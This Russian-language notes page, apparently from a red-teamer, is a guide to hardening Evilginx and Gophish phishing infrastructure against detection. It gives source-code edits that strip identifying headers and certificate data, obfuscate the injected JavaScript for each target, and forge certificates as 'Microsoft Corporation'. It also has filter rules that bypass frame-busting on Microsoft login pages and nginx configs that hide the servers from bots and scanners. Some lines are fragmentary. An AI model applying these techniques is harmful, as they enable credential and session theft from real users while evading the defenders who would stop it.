
Evilginx: Руководство по настройке фишинговой инфраструктуры – Обеспечение безопасности инфраструктуры Evilginx и Gophish, удаление IOCs, фишинговые TTPs
Примечание: Это копия моих личных заметок. Пожалуйста, не полагайтесь на них полностью.
Проверка истекающих доменов, возможно, покупка хороших
Категоризация доменов
Автоматизация проверки/отправки репутации доменов

Метод 1: Использование почтовых провайдеров
Метод 2: Разные техники
Техника 1: Andre Rosario - из Discord BreakDev Red
[email protected], но на самом деле оно от (хотя технически подкованные люди легко это заметят)Создание фишлетов для Evilginx
Скрипты установки Evilginx
Советы по защите инфраструктуры Evilginx -
https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Переписывайте URL на фишинговых страницах, чтобы избежать обнаружения по шаблону пути URL (от Kuba).
- Удаляйте IOCs (заголовок X-Evilginx и данные сертификата по умолчанию)
- Изменяйте статическое содержимое перенаправления для неавторизованных пользователей
- Модифицируйте код для запроса wildcard-сертификатов для корневого домена у Let'sEncrypt, а не для каждого поддомена (как описано в блоге Kuba) - См. этот репозиторий https://github.com/ss23/evilginx2
- Размещайте evilginx за прокси, чтобы помочь против TLS-ф CPS: (JA3 и JA3S)
- При возможности используйте Cloudflare (настройте SSL правильно, измените на "Full" в настройках Cloudflare)
- Используйте известные чёрные списки ASN, чтобы избежать обнаружения, например, здесь (https://github.com/aalex954/evilginx2-TTPs#ip-blacklist)
- Сократите количество proxyhosts в фишлете, если возможно, чтобы уменьшить время загрузки контента.
- Разместите Evilginx в Azure и используйте их домен (ограничьте количество proxyhosts в фишлете до 1 или найдите способ, например, создать несколько поддоменов Azure и попробовать с ними)
- Добавьте sub_filters для изменения содержимого страниц, чтобы избежать обнаружения на основе контента (Favicon, шрифт или стиль заголовка формы, или что-то ещё, что может быть значимым)
- Заблокируйте поддомены обратной связи/телеметрии/логов/аналитики с помощью sub_filters в фишлетах, которые могут логировать домен или помочь в последующем анализе.
- Проверьте, является ли js-injected статическим или динамическим. Если статический, измените код evilginx js-inject для создания динамической/обфусцированной версии вашего js для каждого пользователя/цели.
- Убедитесь, что не происходит утечка IP вашей инфраструктуры Evilginx. Проверьте историю DNS, чтобы убедиться, что она нигде не сохранена (аналитики могут искать старые DNS-записи домена)
- Учитывайте это исследование : https://catching-transparent-phish.github.io/catching_transparent_phish.pdf , репозиторий - https://catching-transparent-phish.github.io/
Эти модификации также будут работать в последней версии evilginx + gophish, т.е. evilginx3.3
Советы: Используйте параметр {{.URL}} в шаблоне фишинга при работе с evilginx ( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
Модификации в исходном коде gophish и структуре файлов для обеспечения безопасности инфраструктуры GoPhish
Удалите экземпляры X-Gophish ( X-Gophish-Contact , X-Gophish-Signature)
Удалите const ServerName= "gophish" и измените на const ServerName= "IGNORE" в файле config/config.go
Измените порт сервера администратора по умолчанию в файле config.json.
Измените сигнатуры тестовых сообщений электронной почты, чтобы избежать обнаружения при тестировании SMTP. Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
Техника 2: Использование функции внешнего приглашения Azure - из Discord BreakDev Red
Случайные советы для попадания писем во входящие.
Блоги/Доклады/Источники
Удалите заголовок X-Evilginx (Проверьте все строки кода с req.Header.Set и закомментируйте соответствующие функции в core/http_proxy.go)
// закомментируйте строку 469
req.Header.Set(p.getHomeDir(), o_host)
// закомментируйте строку 659
req.Header.Set(p.getHomeDir(), o_host)
// закомментируйте функцию на строках 1791-1793
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// закомментируйте строки 52-54
const (
HOME_DIR = ".evilginx"
)
Чтобы изменить статическое содержимое перенаправления для неавторизованных пользователей, найдите <html> в файле core/http_proxy.go и измените html-код, чтобы удалить любые статические сигнатуры.
Также для избежания обнаружения статического инжектированного js-кода, вы можете изменить код следующим образом
Убедитесь, что добавлен "github.com/tdewolff/minify/js" в импорты
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
var d_inject string
if script != "" {
minifier := minify.New() // "github.com/tdewolff/minify/js"
minifier.AddFunc("text/javascript", js.Minify)
obfuscatedScript, err := minifier.String("text/javascript", script)
if err != nil {
// Handle error - Obfuscation failed
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
}
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + obfuscatedScript + "</script>\n${1}"
//d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
Модифицируйте также файл core/cert.db
Измените “rid” для gophish.
Используйте nginx, caddy или другие прокси перед evilginx.
Используйте редиректоры
<meta http-equiv="refresh" content="5;url=https://example.com">Измените шаблон URL приманки (lure) по умолчанию, который представляет собой случайную строку длиной 8.
// Строка 728 в файле core/terminal.go
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
Переписывайте URL на фишинговых страницах, чтобы избежать обнаружения по шаблону пути URL (от Kuba). [Эта функция недоступна в публичной версии Evilginx, вам нужно реализовать её самостоятельно.]
# Работает только в Evilginx Pro
# Подобную функциональность можно реализовать и в публичной версии.
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}

Измените сигнатурный шаблон и значение cookie идентификатора приманки/сессии (от @rad9800 )
Блокируйте утечку имени вашего фишингового домена через заголовки Referrer - см. это исследование:
resp.Header.Set("Referrer-Policy", "no-referrer")Определите свою собственную CSP (Политику безопасности контента), чтобы избежать утечки фишингового домена через телеметрию/канарейки/обнаружение.
Проверьте, использует ли целевой сайт какие-либо канарейки (CSS, JS) и избегайте их
Обход JA4-отпечатков
BITB + evilginx + Обход Frame Busting
- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'if\(e.self===e.top\){'
replace: 'if(true){window.oldself=e.self;e.self=e.top;'
mimes: ['text/html', 'charset=utf-8']
```- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'X-Frame-Options: DENY'
replace: 'Test: test'
mimes: ['text/html', 'charset=utf-8']
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(’’)
top.location = location
top.location.replace(document.location)
top.location.replace(’URL’)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML=’’;},1);
window.self.onload = function(evt){document.body.innerHTML=’’;}
var url = window.location.href; top.location.replace(url)
Измените ответ 404
Добавьте следующую пользовательскую функцию в файл controllers/phish.go
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
Теперь замените все экземпляры http.NotFound(w, r) на customNotFound(w, r)
Удалите жёстко закодированный ответ robots.txt и измените его в файле controllers/phish.go
Измените соответствующий код в файле phish.go на следующий.
//Изменённый ответ
// RobotsHandler предотвращает индексацию фишинговых материалов поисковыми системами и т.д.
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\nDisallow: /*/*\nDisallow: /.git/*")
}
Измените GET-параметр "rid" в запросах
"rid" на что-то другое.Для дополнительной защиты вы также можете изменить статическую папку и переименовать её во что-то другое, а также переименовать файлы внутри неё, чтобы избежать обнаружения по пути. Только не забудьте изменить соответствующий исходный код.
Измените свойства сертификата в файле util/util.go
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
Используйте Nginx для проксирования трафика через него, чтобы избежать любого отпечатка сервера Golang
service nginx start
Вам нужно изменить config.json gophish, чтобы изменить порты: http с 80 на 8080 и https с порта по умолчанию на 60002, как показано ниже
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
Ниже приведена конфигурация, которая заблокирует все запросы с user agent, содержащим “Bot” или “bot”
# /etc/nginx/nginx.conf
events {
# Здесь определяются параметры обработки событий
worker_connections 1024; # Настройте в соответствии с вашими требованиями
}
http {
upstream backend {
server localhost:8080;
}
# HTTP-сервер
server {
listen 80 default_server;
# Отклонить запросы с "bot" или "Bot" в User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS-сервер
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Отклонить запросы с "bot" или "Bot" в User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Чтобы разрешить только определённый user agent, используйте следующую конфигурацию. Она заблокирует все запросы и разрешит только те, у которых user agent - “iamdevil”.
# /etc/nginx/nginx.conf
events {
# Здесь определяются параметры обработки событий
worker_connections 1024; # Настройте в соответствии с вашими требованиями
}
http {
upstream backend {
server localhost:8080;
}
# HTTP-сервер
server {
listen 80 default_server;
# Отклонить запросы с user agent, отличным от "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS-сервер
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Отклонить запросы с user agent, отличным от "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
Измените сигнатуру отслеживающего пикселя Gophish, чтобы избежать обнаружения на основе сигнатур.
Измените последовательность заголовков электронных писем Gophish. Она может использоваться для обнаружения gophish (от сообщества BreakDev Red).
Настройте PostFix перед gophish для удаления IOCs и других признаков обнаружения, а также спамности писем, и удалите/исправьте заголовки.
Блоги/Доклады по исследованию GoPhish :
Альтернативы Gophish :